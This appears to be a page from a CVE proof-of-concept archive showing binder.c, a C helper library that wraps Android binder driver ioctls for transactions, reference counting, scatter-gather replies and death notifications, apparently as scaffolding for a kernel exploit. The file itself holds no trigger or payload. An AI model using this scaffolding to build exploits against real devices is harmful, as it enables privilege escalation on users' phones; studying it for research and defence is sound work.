4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / binder.c C
#include "binder.h"


int binder_become_context_manager(
    PBINDER_INFO info, 
    binder_uintptr_t cookie, 
    binder_uintptr_t binder,
    BOOL ext
){
    DCHECK(ext < BOOL_BOUND);
    if(ext){
        struct flat_binder_object fbo;
        fbo.hdr.type = BINDER_TYPE_BINDER;
        fbo.flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
        fbo.binder = binder;
        fbo.cookie = cookie;

        return ioctl(info->fd_, BINDER_SET_CONTEXT_MGR_EXT, &fbo);
    } else {
        return ioctl(info->fd_, BINDER_SET_CONTEXT_MGR, NULL);
    }
}

int binder_free_buffer(
    PBINDER_INFO info, 
    binder_uintptr_t buffer
){
    struct {
        uint32_t cmd_;
        binder_uintptr_t buffer_;
    }__packed data;
    data.cmd_ = BC_FREE_BUFFER;
    data.buffer_ = buffer;
    return binder_write(info, (BYTE*)&data, sizeof(data));
}

int binder_freeze(
    PBINDER_INFO info,
    uint32_t pid,
    uint32_t enable,
    uint32_t timeout_ms
){
    struct binder_freeze_info bfi;
    bfi.pid = pid;
    bfi.enable = enable;
    bfi.timeout_ms = timeout_ms;
    return ioctl(info->fd_, BINDER_FREEZE, &bfi);
}

int binder_open(PBINDER_INFO info, size_t mapsize){
    struct binder_version ver;
    size_t max_threads = DEFAULT_MAX_BINDER_THREADS;
    info->fd_ = open(BINDER_DEVICE, O_RDWR | O_CLOEXEC);
    CHECK_LOG("binder device open failed!", info->fd_ >= 0);

    if(ioctl(info->fd_, BINDER_VERSION, &ver) < 0)
        return BINDER_VERSION_ERROR;

    if(ioctl(info->fd_, BINDER_SET_MAX_THREADS, &max_threads) < 0)
        return BINDER_SET_MAX_THREADS_ERROR;
    info->mapsize_ = mapsize;
    info->mapped_ = mmap(
        NULL, mapsize, PROT_READ, MAP_PRIVATE, info->fd_, 0);
    if(info->mapped_ == MAP_FAILED)
        return BINDER_MAPPED_ERROR;

    return BINDER_SUCCESS;
}

int binder_close(PBINDER_INFO info){
    munmap(info->mapped_, info->mapsize_);
    close(info->fd_);
    return BINDER_SUCCESS;
}

int binder_increfs(PBINDER_INFO info, uint32_t target){
    struct {
        uint32_t cmd_;
        uint32_t target_;
    }__packed data;

    data.cmd_ = BC_INCREFS;
    data.target_ = target;
    return binder_write(info, (BYTE*)&data, sizeof(data));
}

int binder_acquire(PBINDER_INFO info, uint32_t target){
    struct {
        uint32_t cmd_;
        uint32_t target_;
    }__packed data;

    data.cmd_ = BC_ACQUIRE;
    data.target_ = target;
    return binder_write(info, (BYTE*)&data, sizeof(data));
}

int binder_release(PBINDER_INFO info, uint32_t target){
    struct {
        uint32_t cmd_;
        uint32_t target_;
    }__packed data;

    data.cmd_ = BC_RELEASE;
    data.target_ = target;
    return binder_write(info, (BYTE*)&data, sizeof(data));
}

int binder_decrefs(PBINDER_INFO info, uint32_t target){
    struct {
        uint32_t cmd_;
        uint32_t target_;
    }__packed data;

    data.cmd_ = BC_DECREFS;
    data.target_ = target;
    return binder_write(info, (BYTE*)&data, sizeof(data));
}

size_t binder_read_write(
    PBINDER_INFO info, 
    BYTE* wbuffer, 
    size_t wsize, 
    BYTE* rbuffer, 
    size_t rsize
){
    struct binder_write_read bwr;
    bwr.read_buffer = (binder_uintptr_t)rbuffer;
    bwr.read_size = rsize;
    bwr.read_consumed = 0;

    bwr.write_buffer = (binder_uintptr_t)wbuffer;
    bwr.write_size = wsize;
    bwr.write_consumed = 0;
    ioctl(info->fd_, BINDER_WRITE_READ, &bwr);
    return bwr.read_consumed;
}

size_t binder_read(PBINDER_INFO info, BYTE* buffer, size_t size){
    return binder_read_write(info, NULL, 0, buffer, size);
}

int binder_write(PBINDER_INFO info, BYTE* buffer, size_t size){
    return binder_read_write(info, buffer, size, NULL, 0);
}

size_t binder_transaction(
    PBINDER_INFO info, 
    BYTE* reply,
    size_t rsize,
    struct binder_transaction_data tr
){
    struct {
        uint32_t cmd_;
        struct binder_transaction_data tr_;
    }__packed data;

    size_t res = 0;
    data.cmd_ = BC_TRANSACTION;
    data.tr_ = tr;
    res = binder_read_write(
        info, (BYTE*)&data, sizeof(data), reply, rsize);
    return res;
}

void* parse_binder_message(
    BYTE* rbuffer, 
    size_t rsize
){
    size_t end_addr = (size_t)rbuffer + rsize;
    for (size_t ptr = (size_t)rbuffer; ptr < end_addr; ptr+=sizeof(uint32_t)){
        uint32_t cmd = *((uint32_t*)ptr);
        if((cmd == BR_REPLY) || (cmd == BR_TRANSACTION)){
            ptr += sizeof(uint32_t);
            return (void*)ptr;
        }
    }
    return NULL;
}

void binder_set_looper(
    PBINDER_INFO info
){
    uint32_t cmd = BC_ENTER_LOOPER;
    binder_write(info, (BYTE*)&cmd, sizeof(uint32_t));
}

void binder_reg_looper(
    PBINDER_INFO info
){
    uint32_t cmd = BC_REGISTER_LOOPER;
    binder_write(info, (BYTE*)&cmd, sizeof(uint32_t));
}

size_t binder_transaction_sg(
    PBINDER_INFO info, 
    BYTE* reply,
    size_t rsize,
    struct binder_transaction_data_sg tr
){
    struct {
        uint32_t cmd_;
        struct binder_transaction_data_sg tr_;
    }__packed data;

    size_t res = 0;
    data.cmd_ = BC_TRANSACTION_SG;
    binder_size_t bz = tr.buffers_size;
    while(((unsigned long long)bz) % sizeof(8)){
        bz++; 
    }
    tr.buffers_size = bz;
    data.tr_ = tr;
    res = binder_read_write(
        info, (BYTE*)&data, sizeof(data), reply, rsize);
    return res;
}

int binder_reply(
    PBINDER_INFO info, 
    BYTE* rbuffer,
    size_t rsize,
    struct binder_transaction_data tr
){
    struct {
        uint32_t cmd_;
        struct binder_transaction_data tr_;
    }__packed data;

    data.cmd_ = BC_REPLY;
    data.tr_ = tr;
    return binder_read_write(
        info, (BYTE*)&data, sizeof(data), rbuffer, rsize);
}

int binder_reply_sg(
    PBINDER_INFO info, 
    BYTE* rbuffer,
    size_t rsize,
    struct binder_transaction_data tr
){
    struct {
        uint32_t cmd_;
        struct binder_transaction_data_sg tr_;
    }__packed data;

    data.cmd_ = BC_REPLY_SG;
    data.tr_.buffers_size = sizeof(tr);
    data.tr_.transaction_data = tr;
    return binder_read_write(
        info, (BYTE*)&data, sizeof(data), rbuffer, rsize);
}

int binder_request_death_notification(
    PBINDER_INFO info, 
    uint32_t target, 
    binder_uintptr_t cookie
){
    struct {
        uint32_t cmd_;
        uint32_t target_;
        binder_uintptr_t cookie_;
    }__packed data;

    data.cmd_ = BC_REQUEST_DEATH_NOTIFICATION;
    data.target_ = target;
    data.cookie_ = cookie;

    return binder_read_write(
        info, (BYTE*)&data, sizeof(data), (BYTE*)NULL, 0);
}

int binder_clear_death_notification(
    PBINDER_INFO info, 
    uint32_t target, 
    binder_uintptr_t cookie
){
    struct {
        uint32_t cmd_;
        uint32_t target_;
        binder_uintptr_t cookie_;
    }__packed data;

    data.cmd_ = BC_CLEAR_DEATH_NOTIFICATION;
    data.target_ = target;
    data.cookie_ = cookie;

    return binder_read_write(
        info, (BYTE*)&data, sizeof(data), (BYTE*)NULL, 0);
}

void set_tr_target_handle(
    PTR_BUILDER this,
    uint32_t handle
){
    this->tr_.target.handle = handle;
}

void set_tr_target_ptr(
    PTR_BUILDER this,
    binder_uintptr_t ptr
){
    this->tr_.target.ptr = ptr;
}

void set_tr_cookie(
    PTR_BUILDER this,
    binder_uintptr_t cookie
){
    this->tr_.cookie = cookie;
}

void set_tr_code(
    PTR_BUILDER this,
    uint32_t code
){
    this->tr_.code = code;
}

void set_tr_flags(
    PTR_BUILDER this,
    uint32_t flags
){
    this->tr_.flags = flags;
}

void set_tr_sender_pid(
    PTR_BUILDER this,
    pid_t sender_pid
){
    this->tr_.sender_pid = sender_pid;
}

void set_tr_sender_euid(
    PTR_BUILDER this,
    uid_t sender_euid
){
    this->tr_.sender_euid = sender_euid;
}

void set_tr_data_size(
    PTR_BUILDER this,
    binder_size_t data_size
){
    this->tr_.data_size = data_size;
}

void set_tr_offsets_size(
    PTR_BUILDER this,
    binder_size_t offsets_size
){
    this->tr_.offsets_size = offsets_size;
}

void set_tr_data_ptr_buffer(
    PTR_BUILDER this,
    binder_uintptr_t buffer
){
    this->tr_.data.ptr.buffer = buffer;
}

void set_tr_data_ptr_offsets(
    PTR_BUILDER this,
    binder_uintptr_t offsets
){
    this->tr_.data.ptr.offsets = offsets;
}

void set_fbo_flags(
    PBINDER_OBJECT_BUILDER this,
    uint32_t flags
){
    this->obj_.flags = flags;
}

void set_fbo_cookie(
    PBINDER_OBJECT_BUILDER this,
    binder_uintptr_t cookie
){
    this->obj_.cookie = cookie;
}

void set_fbo_binder(
    PBINDER_OBJECT_BUILDER this,
    binder_uintptr_t binder
){
    this->obj_.binder = binder;
}

void set_fbo_handle(
    PBINDER_OBJECT_BUILDER this,
    uint32_t handle
){
    this->obj_.handle = handle;
}

void set_fbo_hdr_type(
    PBINDER_OBJECT_BUILDER this,
    uint32_t type
){
    this->obj_.hdr.type = type;
}